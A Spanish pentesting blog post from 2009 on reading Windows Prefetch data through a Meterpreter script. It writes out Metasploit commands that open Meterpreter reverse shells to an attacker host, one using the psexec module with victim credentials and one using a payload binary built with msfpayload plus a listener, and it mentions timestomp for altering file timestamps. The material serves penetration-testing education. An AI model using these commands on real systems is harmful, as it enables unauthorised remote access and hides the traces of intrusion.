domingo, 8 de noviembre de 2009

Prefetch en Meterpreter

Siempre me llama la atención la integración de técnicas forenses y anti-forenses al Penetration Testing, como el reciente script para Meterpreter que permite obtener los datos de Prefetch.

¿ Que es Prefetch ?

Cada vez que abrimos una aplicación en Windows se crea un archivo ".pf" en el directorio (%SYSTEMROOT%\Prefetch\), este archivo contiene información para acelerar las aplicaciones que seran abiertas en el futuro.

Dentro del archivo .pf podemos encontrar la fecha y hora en la que el archivo fue abierto, modificado o accedido por ultima vez, y también la cantidad de veces que este fue ejecutado.

El nombre del archivo .pf se arma "NOMBRE-HASH.pf", en donde el HASH se calcula con el path del lugar en donde se encontraba el archivo, por lo que si este fue ejecutado de 2 lugares diferentes, vamos a tener 2 archivos .pf diferentes.

Durante un Penetration Test, conocer cuales son los programas mas utilizados en un sistema nos puede ayudar a identificar los hábitos del administrador o el rol de este sistema en la red.

Hay una herramienta gratuita llamada Windows File Analyzer que nos permite visualizar el contenido de los archivos Prefetch:


Shell con Meterpreter

A continuación dos formas sencillas de obtener una shell con meterpreter sin necesidad de explotar una vulnerabilidad.

El siguiente modulo es similiar al "psexec" de SysInternals, y si le proveemos el user/pass de la víctima, nos permitira ejecutar un "payload":


use windows/smb/psexec
set PAYLOAD windows/metepreter/reverse_tcp
set RHOST 192.168.13.129
set LHOST 192.168.13.131
set SMBUser Administrador
set SMBPass password
exploit


Otra forma, es crear un binario con el payload, lo transferimos a la víctima, luego dejamos escuchando por la conexión reversa y ejecutamos el binario para generar la conexión con meterpreter:


./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.13.131 X > meterpreter.exe

./msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.13.131 E


Prefetch con Meterpreter

Para utilizar Prefetch primero deberíamos actualizar Metasploit (esto hacerlo antes de obtener la shell):


cd /pentest/exploits/framework3
svn update

./msfconsole
run prefetchtool -h



Si es la primera vez que utilizamos Prefetch, el script bajara "prefetch.exe" del repositorio, para luego subirlo y ejecutarlo en la víctima. A continuación listamos los 5 programas mas utilizados en la víctima con el comando "run prefetchtool -x 5":


Otra feature interesante dentro de meterpreter es "timestomp", que nos permite modificar la fecha de creación, modificación y ultimo acceso de los archivos, pero eso lo dejo para otro post... ;)

FUENTES:
- Milo2012's Security Blog: Meterpreter Script for Prefetch-Tool
- Laramies Corner: Windows Prefetcher and forensic analysis
- Windows File Analyzer
- PaulDotCom - Episode 171
- What is the Prefetcher?
- Forensics Wiki - Prefetch

No hay comentarios.:

LinkWithin